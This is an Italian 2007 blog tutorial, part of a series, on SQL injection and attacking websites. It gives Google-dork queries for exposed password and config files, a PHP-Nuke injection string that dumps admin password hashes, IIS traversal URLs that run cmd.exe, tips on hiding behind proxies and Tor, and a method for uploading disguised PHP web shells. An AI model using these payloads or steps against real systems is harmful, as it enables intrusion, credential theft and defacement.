<p>&#8212;&#8211;&gt;La settima riguarda le <b>Tecniche </b>di scanning , il tuning , e altre opzioni , come quella di poter fare un detecting del firewall , lo scanning delle porte in ordine casuale o meno (random-mode) , la possibilità di un eventuale congestione del sistema target , e anche opzioni da configurare per i tool da adoperare se selezionati nelle tabelle precedenti come l&#8217; <b>amap</b> , a cui possiamo dare l&#8217; abilitazione o meno del <b>SSL</b> , dell&#8217; <b>RPC </b>o altro. Importante in questa tabella da configurare è anche l&#8217; eventualità , sempre e solo se inserita , del <b>HYDRA </b>, che richiede logicamente altrettante configurazioni oppure anche dei files <b>*.txt</b> contenenti dizionari per l&#8217; azione di <b>Bruteforce</b>.</p>
<p><font color="#ff0000">&#8212;&#8211;&gt;</font>L&#8217;ottava e La nona tabella riguardano rispettivamente la nostra volontà o meno di salvare i dati eventualmente ricevuti , e i credit&#8217;s della <b>Tenable</b> , a cui vanno i nostri complimenti , magari con la speranza di assunzione di una nuova licenza che possa permetterci di avere Nessus nella backtrack-3final , ma non voglio dilungarmi a riguardo , del resto le licenze sono fatte apposta per non essere sottoposte a giudizio , quindi se la Tenable ha deciso di non aderire alla GPL-2 , noi non possiamo che augurarci solo un cambiamento</p>
<p>Come possiamo vedere da tutte le opzioni e dalla possibilità di utilizzare interi tool all&#8217; interno dello stesso Nessus , stiamo parlando di un prodotto davvero unico , e che se configurato correttamente può diventare uno strumento a cui non si può fare a meno.</p>
<p>ciao a tutti e alla prossima.</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/211/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/211/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/211/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=211&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
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		<title>SQL-Injection -pt.2/3- &#8220;&#8230;e analisi di un attacco&#8221;</title>
		<link>http://carlitobrigante.wordpress.com/2007/12/03/sql-injection-pt23-e-analisi-di-un-attacco/</link>
		<comments>http://carlitobrigante.wordpress.com/2007/12/03/sql-injection-pt23-e-analisi-di-un-attacco/#comments</comments>
		<pubDate>Mon, 03 Dec 2007 05:31:27 +0000</pubDate>
		<dc:creator>brigante~</dc:creator>
				<category><![CDATA[/Vulenability-Identification]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/2007/12/03/sql-injection-pt23-e-analisi-di-un-attacco/</guid>
		<description><![CDATA[
Eccoci quì&#8230;..arrivati alla seconda parte delle tre che copmpongono la nostra descrizione di quello che poi è l&#8217; attacco di tipo SQL-Injection. Vi dico subito , e spero che l&#8217; immagine sia di buon riferimento , che è reato introdursi all&#8217; interno di siti e database altrui e che le pene previste sono molto severe [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=136&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p style="text-align:center;"><img src="http://carlitobrigante.files.wordpress.com/2007/12/biohazard-green1.jpg" alt="biohazard-green1.jpg" /></p>
<p>Eccoci quì&#8230;..arrivati alla <font color="#ff0000">seconda parte delle tre</font> che copmpongono la nostra descrizione di quello che poi è l&#8217; attacco di tipo<b> SQL-Injection</b>.<i> Vi dico subito , e spero che l&#8217; immagine sia di buon riferimento , che è reato introdursi all&#8217; interno di siti e database altrui e che le pene previste sono molto severe , ed io che scrivo quest&#8217; articolo come puro scopo didattico/informativo , non mi riterrò responsabile di nulla che possa riguardare atti immorali ed illegali che hanno preso spunto da quest&#8217; articolo/How-To&#8230;</i></p>
<p align="center"><b>E dopo questo dovuto disclamer , passiamo all&#8217; introduzione. </b></p>
<p><b>SQL-Injection -pt.2/3- &#8220;analisi e attacco&#8221;</b> , è un articolo che raccoglie delle categoria importanti , che andrebbero trattate singolarmente , come quella del <b>GoogleHacking</b> , del <b>Whois</b> , e dello <b>Scanning</b> di rete ,  ma che cercherò di descrivere rapidamente per dare l&#8217; idee più importanti e comunque vi ricordo che scriverò tutto riguardo al <b>Whois</b> e allo <b>scanning</b> al più presto. Naturalmente per arricchire l&#8217; articolo ho inserito anche l&#8217; <i><b>iniezione di Exploit </b></i>all&#8217;interno ,del resto sempre di codice si tratta , e poi nel caso si voglia fare delle prove di pentesting si possono avere più possibilità.</p>
<p><i>(Ricordo sempre che all&#8217; interno del BOX ci sono dei manuali , degli How-To.. degli eBook , che possono aiutare bene a capire , e poi ci sono dei testi interi a riguardo, quindi chi volesse approfondire gli basta fare il download , e nel caso in cui cerchi qualcosa che non c&#8217;é , mi lasci pure un commento , ed io proverò subito a soddisfare le sue esigenze&#8230;)</i></p>
<p>Ma procediamo con brevi descrizioni per rendere almeno l&#8217; idea<b> , </b>ed iniziamo con il <b>Google haking</b> o meglio:<b> </b></p>
<p><b>come utilizzare Google , per ottenere il massimo delle informazioni utili al nostro scopo.</b></p>
<p><a href="http://carlitobrigante.wordpress.com/2007/12/03/sql-injection-pt23-e-analisi-di-un-attacco/138/" rel="attachment wp-att-138" title="google-dark.jpg"></a></p>
<p style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2007/12/logog.gif" title="logog.gif"><img src="http://carlitobrigante.files.wordpress.com/2007/12/logog.gif" alt="logog.gif" /></a></p>
<p>Come ho citato nella parte<a href="http://carlitobrigante.wordpress.com/2007/11/27/sql-injection-descrizione-e-apprendimento/"><b> 1/3 dell&#8217; SQL-Injection </b></a>, quando noi abbiamo a che fare con un database di tipo <b>SQL</b> , interagiamo con lo stesso database con uno strumento che il database usa , e cioé la <b>query</b>, la ricerca che il DB ,(database) , effettua per ricercare appunto determinate informazioni.</p>
<p>Ho fatto l&#8217; esempio dell&#8217;ingresso in un database , con il login che l&#8217; utente effettua e che il database stesso analizza per caratterizzare l&#8217;ingresso o il rifiuto verso l&#8217; utente che richiede l&#8217; accesso.</p>
<p>Ora facciamo finta di avere a che fare con lo stessa tecnica , solo che invece di avere come interlocutore un database di tipo <b>SQL</b> , abbiamo il nostro motore di ricerca <b>Google.</b> Per ottenere delle informazioni preziose dal motore di ricerca dovremo usare delle <b>query</b> che vanno inserite con delle determinate stringhe per ricercare ad esempio delle directory , delle cartelle e dei file. Se noi vogliamo ottenere dei risultati particolari dal nostro motore di ricerca , dobbiamo interagire con esso con determinati comandi da inserire nella barra di <b>&#8220;cerca&#8221;</b> , se io ad esempio cerco una serie di risultati che possono essere dei DB che contengono ad esempio al proprio interno determinati files o determinate directory dobbiamo interagire con Google inserendo nella barra di ricerca un comando di questo tipo:</p>
<p><b>inurl:esempio </b></p>
<p>tutti i risultati che contengono nell&#8217; url dei siti la stringa <a href="http://www.google.it/search?hl=it&amp;q=inurl%3Aesempio&amp;meta=&amp;btnG=Cerca+con+Google"><b>esempio</b></a> , saranno visualizzati , così come saranno visualizzati tutti i risultati che conterranno ogni nostra stringa immessa.</p>
<p><!--endemo--></p>
<p>A questo punto ci si può domandare benissimo se si possono trovare soluzioni anche diverse a riguardo , e cioé:</p>
<p>Noi sappiamo che su di un determinato webserver la &#8220;zona&#8221; riservata agli amministratori è la &#8220;<b>/</b>&#8221; , ovvero la <b>root</b> , e se andiamo a scrivere:<b>           </b><b>Index of /root</b>           <b> </b>sulla barra di ricerca di Google , vediamo che i risultati non mancano , anzi! È così anche per tutte le altre informazioni di cui può necessitare una persona che lavora , oppure un semplice utente che vuole testare la sicurezza del proprio webserver , e che può ricercare il suo host tra quelli indicati , per vedere se è a rischio o meno.</p>
<p><i>queste riportate di seguito sono solo alcune delle query che possono essere utilizzate per la ricerca in rete e il test della propria rete.</i></p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/12/images.jpeg" title="images.jpeg"><br />
</a></p>
<p align="center"><b>*************</b></p>
<p><b>allinurl:admin.php site:.edu<br />
&#8220;Index of /admin&#8221;<br />
&#8220;Index of /root&#8221;<br />
&#8220;Index of /password&#8221;<br />
&#8220;Index of /&#8221; +passwd<br />
allintitle: &#8220;index of/admin&#8221;<br />
allintitle: restricted filetype:doc site:gov<br />
allinurl:auth_user_file.txt<br />
intitle:&#8221;Index of&#8221; config.php<br />
intitle:index.of.etc<br />
inurl:config.php dbuname dbpass<br />
intitle:&#8221;Index of&#8221; master.passwd<br />
intitle:&#8221;Index of&#8221; .mysql_history<br />
intitle:&#8221;index of&#8221; trillian.ini<br />
intitle:&#8221;Index of&#8221; spwd.db passwd -pam.conf<br />
intitle:&#8221;Index of&#8221; pwd.db<br />
intitle:&#8221;Index of&#8221; secring.bak<br />
intitle:&#8221;Index of&#8221; &#8220;people.lst&#8221;<br />
intitle:&#8221;Index of..etc&#8221; passwd<br />
intitle:&#8221;Index of&#8221; passwd passwd.bak<br />
intitle:index.of passlist<br />
intitle:&#8221;Index of&#8221; .bash_history<br />
intitle:&#8221;Index of&#8221; service.pwd<br />
intitle:&#8221;Index of&#8221; shtml.dll<br />
intitle:&#8221;Index of&#8221; shtml.exe<br />
intitle:&#8221;Index of&#8221; AT-admin.cgi<br />
intitle:&#8221;Index of&#8221; glimpse<br />
intitle:&#8221;Index of&#8221; guestbook.cgi<br />
intitle:&#8221;Index of&#8221; perl<br />
intitle:&#8221;Index of&#8221; show<br />
intitle:&#8221;Index of&#8221; index.html~<br />
intitle:&#8221;Index of&#8221; stats.html</b></p>
<p align="center"> <b>*************</b></p>
<p align="left">È ovvio che se il nostro sito è tra gli elencati , dovremo testare la situazione fino in fondo, perché queste query sono sulla rete e alla portata di tutti&#8230;purtroppo anche delle persone più maleintenzionate.Dopo aver fatto , (spero in maniera sufficientemente apprezzabile) , appena qualche sempio di <b>query</b> per il <b>Google Hacking</b>  passiamo  ora a fare  due parole su cos&#8217;é il <b>Whois</b>&#8230;</p>
<p align="left"><a href="http://carlitobrigante.files.wordpress.com/2007/12/whois.jpg" title="whois.jpg"></a></p>
<p style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2007/12/whois.jpg" title="whois.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/12/whois.jpg" alt="whois.jpg" /></a></p>
<p align="left"><a href="http://carlitobrigante.files.wordpress.com/2007/12/whois.jpg" title="whois.jpg"></a></p>
<p style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2007/12/whois.jpg" title="whois.jpg"> </a></p>
<p style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2007/12/whois.jpg" title="whois.jpg"> </a></p>
<p align="left"> Il <b>Whois</b> , dall&#8217; inglese <i><b>chi é?</b></i> , è un servizio , che viene messo a disposizione da alcuni siti intenet e che seve ad ottenere informazioni su di cose particolari , su persone , su<b>host</b> , su servizi , e che consentono agli utenti di sapere cose che altrimenti sarebbero più difficoltose da reperire in motori di ricerca semplici , proprio perché i siti che forniscono il servizio di <b>Whois</b> si occupano solo del servizio stesso , e non di altro , e di conseguenza i risultati saranno risultati specifici.</p>
<p align="left">Il servizio che noi utilizzeremo è  il WHOIS di <b>ripe.net</b></p>
<p align="left"><i><b>http://www.ripe.net/ </b>, che in <b>backtrack2 </b>si trova in:</i></p>
<p align="left"><i> KdeStart&#8212;&gt;backtrack&#8212;&gt;InformationGatering&#8212;&gt;Whois&#8212;&gt;OnLineResource&#8212;&gt;<font color="#ff0000">www.ripe.net</font></i></p>
<p align="left"><i>La terza ed ultima parte degli articoli riguardanti l&#8217; <b>SQL-Injection</b> , che riguarderà tutti i tool inseriti in <b>backtrack2</b> , ed il loro possibile utilizzo , conterrà anche le specifiche argomentazioni che riguardano i servizi di <b>Whois</b> inseriti come collegamenti nella distro stessa</i> , <i>i tool con i connessi comandi per utilizzare al meglio &#8220;tutti&#8221; i servizi riguardanti <b>Google</b> , e una buona ,(almeno spero), descrizione , per categoria , degli <b>Scanning</b>. </i></p>
<p align="left">Per quanto riguarda il nostro caso l&#8217; utilizzo riguarda il voler scoprire il sistema operativo che l&#8217; eventuale host da attaccare usa , insieme ai servizi connessi.</p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/11/sqlinjection.jpg" title="sqlinjection.jpg"></a></p>
<p style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2007/11/sqlinjection.jpg" title="sqlinjection.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/11/sqlinjection.jpg" alt="sqlinjection.jpg" /></a></p>
<p>Vi ho fatto un breve approccio alle stringhe del<b> Google hacking</b> , perché una tecnica dell&#8217; SQL-Injection , può essere usata proprio in maniera simile&#8230;</p>
<p>Una famosa , (ma visto che ancora funziona , non abbastanza) ,  <b>SQL-Injection</b> , è quella rivolta ai siti in <b>PHP-Nuke.</b></p>
<p>Cos&#8217;é il <b>PHP-Nuke</b>?</p>
<p>Il<a href="http://www.phpnuke.org/" title="php-nuke"><b> PHP-Nuke</b></a> è un semplice CSM , basato logicamente sul linguaggio <b>PHP </b>, e che ci permette di creare siti internet con l&#8217; apporto di <b>script php</b> che ci permettono , proprio come il <b>Joomla!</b> descritto nella<a href="http://carlitobrigante.wordpress.com/2007/11/27/sql-injection-descrizione-e-apprendimento/"> parte 1/3 di questa serie di articoli </a>, di avere il nostro sito web senza per forza dover conoscere tutto il linguaggio PHP.</p>
<p>Alcuni siti in PHP-Nuke , sempre parlando di quelli non ancora patchati per questa query , sono infatti vulnerabili alla seguente stringa:</p>
<p>p0hh0nsee%&#8217;) UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*</p>
<p>in che modo può essere usata questa stringa?</p>
<p>Questa stringa è una SQL-Injection che va usata all&#8217; interno di motori di ricerca dei siti in PHP-Nuke.</p>
<p>Se un maleintenzionato , all&#8217;interno di un sito in PHP-Nuke , incolla questa stringa nel motore di ricerca interno al sito , può , (sempre se il sito non è ancora stato patchato , ma purtroppo vi assicuro che ce ne sono ancora di non patchati) , può benissimo ritrovarsi davanti ad una serie di password <b>hashate</b> , (criptate) , in <b>md5</b> , e con il nome di chi ha messo il contributo&#8230;e cioé l&#8217; <b>admin</b> , e con tutte le risorse che ci sono sulla rete , create per scopi diversi logicamente , possono subito essere tradotte in <b>password</b> in chiaro , e possiamo immaginare cosa può succedere se il maleintenzionato è una di quelle persone che ama porre la propria immagine gigante defacciando il sito web. Questa tecnica esplica chiaramente quella che è  la <b>SQL-Injection</b> , che anche se i programmatori lavorano sempre di più per evitare queste igniezioni di codice maligno , non possono essere mai al sicuro al 100% , perché&#8230;ricordiamolo che nessuno , e ripeto nessuno , è mai sicuro al 100% , colui che si definisce sicuro al 100% sbaglia    &#8230;&#8230;..e di grosso.</p>
<p>Quando andiamo in giro per la rete , e ci capita di trovare qualche sito defacciato , come è potuto accadere?</p>
<p>Bene , anche se ci sono moltissimi modi per fare <a href="http://it.wikipedia.org/wiki/Defacing">defacing</a> , questo appena elencato è uno di questi.</p>
<p>Nello scrorso <a href="http://carlitobrigante.wordpress.com/2007/11/27/sql-injection-descrizione-e-apprendimento/">articolo</a> , abbiamo installato il Webserver <b>Apache</b> con il <b>Perl</b> , il <b>PHP</b> e il <b>MySQL</b> , tramite lo <b>Xampp</b> , dopodiché abbiamo seguito una guida che ci permette , volendo , di avere un sito in locale con <b>Joomla!</b> il CSM opensource.</p>
<p>Durante l&#8217;installazione , abbiamo visto che la pagina principale (<i>ovvero la <b>home</b> , la pagina principale che si raggiunge quando si accede ad un determinato indirizzo</i>) , è descritta nell&#8217; <b>index.php </b>&#8230;..che viene richiamata nei siti scritti appunto in <b>PHP</b> , tramite ad esempio l&#8217;inidirizzo            <i><b>http://sitoesempio.it/index.php?</b></i></p>
<p>bene , questo è il file che i defacer cambiano , ponendo del codice all&#8217; interno del file che richiama ad esempio un immagine , &#8220;hostata&#8221; su di un altro server , <i>(con un collegamento scritto logicamente in PHP)</i> , e messa sopra il resto del codice del file <b><i>index.php</i></b> , anzi , a volte purtroppo sostituendo addirittura tutto il file.</p>
<p>Quest&#8217; operazione , fa in modo che coloro che visitano il sito , vedano invece della homepage , l&#8217; immagine posta dal defacer , e che potete pensare bene voi , cosa voglia dire agli occhi di un amministratore una cosa del genere.</p>
<p><i>Come ho già detto in passato , la vera arte stà nello scoprire nuove <b>query</b> , per comunicarle subito agli addeti , e non prelevare queste o quelle in giro per la rete per far defacing!</i></p>
<p><i>La mia idea è che una persona corretta non defaccia , ma avverte l&#8217; admin&#8230;basta.</i></p>
<p>Ovviamente , e quì mi ripeto , questo fatto è solo un esempio.</p>
<p>Ci sono altri modi per fare <b>Injection</b> di <b>SQL</b> , come ad esempio quello dell&#8217; <b>rfi </b>, ovvero il<b> Remote-File-Including</b> , lo vedremo avanti.</p>
<p>Il nostro articolo parla in pratica di iniezioni di codice maligno all&#8217; interno di database di tipo SQL , ma non ci sono solo i database SQL , ci sono i database Asp , oppure gli Oracle , e naturalmente tutti hanno i loso piccoli bug sfruttabili&#8230;le proprie vulnerabilità.</p>
<p>La soluzione che , almeno io , vedo migliore , è quella di stare sempre allerta , tenendosi aggiornati tramite il collegamento giornaliero a siti come <a href="http://www.milw0rm.com/">milw0rm</a> o <a href="http://www.securityreason.com/">SecurityReason</a> , e sempre tramite questi siti chi vuole come admin può testare la sicurezza del proprio sistema , e della propria rete , perché cito <b>milw0rm</b> e <b>SecurityReason</b>?</p>
<p>Perché sono i siti dove coloro che scoprono nuovi bug , e nuovi exploit , possono inserirli e condividere con tutti la &#8220;nuova&#8221; conoscenza&#8230;.  Ovviamente ce ne sono altri , ed io quì cito questi due solo perché sono quelli più famosi e completi che io conosca , ma se qualcuno leggendo quest&#8217; articolo vuole farmene notare di nuovi , benvenga.</p>
<p>Per esplicare correttamente l&#8217;idea di come usare una SQL-Injection potete trovare un video , (in spagnolo ma compensibile), che chiarisce ogni dubbio a riguardo , che si trova su <a href="http://200.58.115.23/~fu000312/docs/FunStuff/sql2/">milw0rm</a></p>
<p><a href="http://carlitobrigante.wordpress.com/2007/12/03/sql-injection-pt23-e-analisi-di-un-attacco/139/" rel="attachment wp-att-139" title="matrix2.jpg"></a></p>
<p style="text-align:center;"><a href="http://carlitobrigante.wordpress.com/2007/12/03/sql-injection-pt23-e-analisi-di-un-attacco/139/" rel="attachment wp-att-139" title="matrix2.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/12/matrix2.jpg" alt="matrix2.jpg" /></a></p>
<p>Un attacco può essere eseguito in molti modi ed è ovvio che quì io proverò a descriverne uno , per fare in modo che ognuno possa decidere se attuarlo per testare la propria rete.</p>
<p>Questa però sarà una descrizione generale , nel senso che cercherò di rimanere in ambito , ma non tratterà tutto di backtrack , per quanto riguarda backtrack la 3^ ed ultima parte con prove la scriverò appena possibile , in modo che tutta la serie dell&#8217;  SQL-Injection sia completa e avrò la possibilità di toccare anche altri ambiti.</p>
<p>Iniziamo dicendo che per effettuare un attacco bisogna crearsi una struttura di anonimato , bisogna in pratica attuare l&#8217; attacco senza che la vittima possa risalire con qualsiasi mezzo al nostro indirizzo , altrimenti realizzeremo un attacco con recapito firma , nome e cognome , e tutto questo per chi rispetta le regole , non è un problema , ma rischieremo di effettuare un attacco falso , perché l&#8217; utente che attacca , malintenzionato o meno , si anonimizza.</p>
<p>I tool per l&#8217;anonimizzazione sono vari , i più usati di sicuro sono i <b><a href="http://en.wikipedia.org/wiki/Proxy_server">Proxy</a></b> ed il <b><a href="http://www.torproject.org/index.html.it">Tor </a></b></p>
<p>i <b>Proxy</b> sono dei server che ci consentono di visitare dei siti mostrando ai siti stessi il loro indirizzo e non il nostro , sono abbastanza diffusi e ci sono molti metodi per usarli , dall&#8217; installazione in <a href="http://www.mozilla.com/en-US/">Firefox</a> del <a href="https://addons.mozilla.org/en-US/firefox/addon/4457">Proxysel</a>  o del <a href="https://addons.mozilla.org/en-US/firefox/search?q=foxyproxy&amp;status=4">Foxyproxy</a> oppure passare direttamente per i proxy e dagli stessi iniziare a navigare come , un esempio può esserlo lo <a href="http://www.spysurfing.com/index.php?">Spysurf</a>. Durante un attacco non è raro che l&#8217; attaccante possa essere &#8220;proxato&#8221; passando per 2/3 proxy. Per una lista proxy che sembra aggiornata vi rimando <a href="http://www.checker.freeproxy.ru/checker/last_checked_proxies.php">QUÌ </a>  e comunque inserirò a breve un file <b>*.txt</b> nel <b>BOX</b> .</p>
<p>Il <b>TOR</b> invece è un progetto che basa la sua caratteristica più o meno su quella dei proxy&#8230;.solo che a differenza di proxy , che comunque offrono un servizio pubblico , il TOR è caratterizzato esclusivamente da volontari , che nel mondo si offrono per diventare appunto dei nodi TOR , e far passare per il proprio PC gli utenti che naviganoin rete e che , volendo , possono essere anch&#8217; essi dei nodi TOR. In backtrack , lo strumento del TOR , è già inserito di default dalla prima installazione.</p>
<p><i>Quì apro una brevissima parentesi: con il TOR si dovrebbe avere a che fare sempre , e non solo quando si prende in considerazione un <b>pentesting</b> , è uno strumento che ci garantisce la libertà di poter navigare senza essere rintracciati , ma questo non per essere anonimi e poter fare attacchi o altre cose fuorilegge , ma per potersi garantire uno strato di anonimizzazione purtroppo semprepiù a rischio , quindi vi rimando volentiri alla pagina di informazione sul <a href="http://www.torproject.org/index.html.it"><b>TOR.</b></a> Dobbiamo però stare molto attenti a quanto scritto nella pagina di informazione e di uso sul TOR , perché un uso scorretto dello stesso TOR può recare danni , nel senso che può anche non funzionare se usato nella maniera sbagliata , quindi: diventare<b> NODO TOR=Sì , ma usarlo bene</b>. </i></p>
<p>Torniamo ora a noi&#8230;</p>
<p>Lo strumento che ci permette di effettuare altre nostre operazioni importanti che riguardano l&#8217; attacco è l IP.</p>
<p>L&#8217; indirizzo IP è costituito da quattro cifre , contraddistinte tra loro da quattro punti , ed ogni indirizzo IP è appartenente ad un determinato sistema , naturalmente inteso come macchina..PC , host.</p>
<p>Per trovare l&#8217; indirizzo IP ci sono vari modi , il WHOIS è tra i più  affidabili che io conosca , insieme ad alcuni tool che ci sono in <b>backtrack</b> , nella sezione <i><b>InformationGatering.</b></i>  Per citarne solo un altro , in Firefox , c&#8217;è uno strumento che ogniqualvolta noi lo vogliamo , attivando questa estensione  , sul puntatore del mouse apparirà l&#8217; indirizzo IP del sito che abbiamo in pagina , per chi voglia utilizzarlo gli basta installarsi l&#8217;estensione che si chiama <a href="https://addons.mozilla.org/en-US/firefox/addon/663"><i><b>&#8220;HostIP.infoGeolocation&#8221;</b></i></a></p>
<p>Ora che abbiamo l&#8217; indirizzo IP dell&#8217; host che vogliamo attaccare , ci attiviamo per scoprire le possibili vulnerabilità sfruttabili sull&#8217; host stesso , e lo facciamo tramite il tool che più ci garba.</p>
<p>Io prenderò come esempio il <b>Superscan 3.0</b> , (quì su <a href="http://sicurezza.html.it/articoli/leggi/953/miniguida-a-superscan-40/1/"><b>html.it</b></a> una miniguida al tool , da considerare però che è in windows ma non cambia nulla) , il tool che naturalmente è inserito in <b>backtrack2</b> , e che gode oltretutto di una buona interfaccia grafica. Il <b>Superscanner  </b>è un Portscanner , cioé un programma che effettua una scansione delle porte dell&#8217; host , di cui noi abbiamo inserito l&#8217; IP (trovato prima con i tool che vi ho detto&#8230;) , e tra le varie opzioni , ci restituisce il nome dell&#8217; host e le porte con relativi servizi aperti eccetera&#8230;</p>
<p align="center">*******Ad esempio:</p>
<p> 21 [Ftp =&gt; File Transfer Protocol] 220 BulletProof FTP Server ready &#8230;</p>
<p>22 [OpenSSH 3.1]</p>
<p>80 [Http =&gt; World Wide Web, HTTP]HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.1</p>
<p>135 [epmap =&gt; DCE endpoint resolution]</p>
<p>139 [Netbios-ssn =&gt; NETBIOS Session Service]</p>
<p align="center">*******oppure ancora:</p>
<p>443 [HttpS =&gt; Secure HTTP]</p>
<p>443 [HttpS =&gt; Secure HTTP]</p>
<p>445 [Microsoft-Ds]</p>
<p align="center">*********************</p>
<p align="center"><a href="http://carlitobrigante.wordpress.com/2007/12/03/sql-injection-pt23-e-analisi-di-un-attacco/144/" rel="attachment wp-att-144" title="cooltext122433937sa.png"><img src="http://carlitobrigante.files.wordpress.com/2007/12/cooltext122433937sa.png" alt="cooltext122433937sa.png" /></a></p>
<p align="center">&nbsp;</p>
<p align="center"> La tecnica di attacco , logicamente può variare secondo la situazione&#8230;secondo praticamente la porta aperta che otterremo dai risultati dei nostri tool. Ora se noi Dai dati ricevuti dal <b>Superscanner</b> e dal <b>Whois</b> , decidiamo di prendere ed usare un determinato <b>Exploit.</b></p>
<p align="left">Ma cos&#8217;é un Exploit?</p>
<p align="left">Un Exploit è un metodo che con lo sfruttamento di un bug , di una vulnerabilità , riesca a far ottenere alla persona che ad esempio attacca  un determinato sito , i privilegi di amministratore. Ci sono vari tipi di exploit , e gli stessi possono sfruttare vari tipi di bug e vulnerabilità , e nella nostra <i><b>backtrack2</b></i> , i tool inseeriti per il loro sfruttamento sono vari e di ampio uso&#8230;.ma questa è argomentazione della 3^  ed ultima parte di questa modesta , ma spero chiara , serie.</p>
<p>Ma per avere più esempi e possibilità , facciamo il caso che l&#8217; Exploit non abbia l&#8217; effetto desiderato perché il sito da attaccare è alla versione più recente ed il nostro exploit è vecchiotto , bisognerà quindi passare ad altre soluzioni , o meglio bisognerà pensare all&#8217; idea di attaccare  l&#8217;host su di un altro fronte &#8230;su di un altra porta , in base sempre alle informazioni ricevute dalla scansione con <b>Superscanner</b> e dalla ricerca con il <b>Whois</b> che prima abbiamo usato.</p>
<p>Se ad esempio è aperta sull&#8217; host la porta 139 , sempre su milw0rm , ci sono molti exploits per sfruttare quest&#8217; apertura , e quindi una volta individuato l&#8217; exploit per la porta 139 , si richiama nella Shell e si invia.(<i>quando scarichiamo un exploit da milw0rm in Shell non è possibile sapere tutto , ma se lo stesso exploit lo cerchiamo prima tramite browser e poi casomai se proprio vogliamo , lo richiamiamo tramite la Shell , possiamo avere sul sito , aprendo l&#8217; exploit stesso delle informazioni prerziose che ci dicono come poterlo sfruttare.</i>)</p>
<p>Facciamo l&#8217; esempio di un webserver <b>Windows2003</b> , e di avere aperta la porta <b>139</b> , (porta 139=NETBIOS , ovvero una porta che se aperta , e quindi che risponde , ci permette di avere un contatto con l&#8217; host senza essere degli utenti registrati , e da quì quindi cercare degli exploits che possano sfruttarla), oppure ancora una cosa infallibile o quasi , si può pensare all&#8217; iniezione di un exploit tramite la porta<b> 80 IIS</b> <i>(Internet Information Service) .</i></p>
<p>tramite la porta 80 , si potrebbe procedere ad esempio con l&#8217;iniezione di un <b>Exploit</b> nel percorso , <b>[PATH</b>] , ad esempio:</p>
<p>Http://www.sitoesempio.it/scripts/..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:</p>
<p>Http://www.sitoesempio.it/msadc/..%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:</p>
<p>Http://www.sitoesempio.it/cgi-bin/..%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:</p>
<p>Http://www.sitoesempio.it/_vti_cnf/…%255c&#8230;.c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:</p>
<p>Http://www.sitoesempio.it/_vti_bin/…%255c&#8230;.c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:</p>
<p>Ora però veniamo a quello che è il metodo , secondo  me , più utile per capire tutto ciò che abbiamo descritto fin&#8217; ora ,</p>
<p align="center">L&#8217; <b>RFI , </b>e cioé:<b> </b>il <b><i>Remote File Include</i></b></p>
<p>Per usare questa tecnica , si eseguono determinate operazioni per fare in modo appunto che si possa in qualche modo provare ad inserire nell&#8217; host una nostra stringa , effettuare come prima la nostra <b>Injection</b> , e per farlo abbiamo bisogno di un &#8220;luogo&#8221; di comando ossia un terminale&#8230;.una Shell , come quella che abbiamo in <b>backtrack</b> , (almeno come stile di uso) , ma totalmente diversa come rappresentazione , perché parliamo di <b>Shell</b> scritte in <b>PHP</b> , come la <b>c99</b> oppure la <b>c2007</b> oppure ancora la <b>R57.</b></p>
<p>Queste <b>Shell</b> sono dei file , scritti in PHP , che ci permettono di inviare e ricevere informazioni verso degli host e quindi avere nelle nostre mani l&#8217; arma ideale per poter interagire con il sito da attaccare , e per poter utilizzare una Shell ad esempio la <b>c99</b> , dobbiamo però fare in modo che la stessa Shell si trovi su di un altro <b>FTP</b>.</p>
<p>Per fare questo quindi noi avremo bisogno di fare l&#8217; <b>UPload</b> della nostra <b>Shell</b>  , su di un determinato <b>host</b> , oppure ancora , utilizzarne una che si trova già su un <b>host.</b> Per fare l&#8217;UPload della Shell bisogna fare però in modo di cambiargli l&#8217; estensione , ad esempio immettere l&#8217; estensione <b>*.jpg</b> , altrimenti , come è logico che sia , la shell sarà eseguita dal sistema che la invia e non da quello che invece la riceve.</p>
<p><b> </b></p>
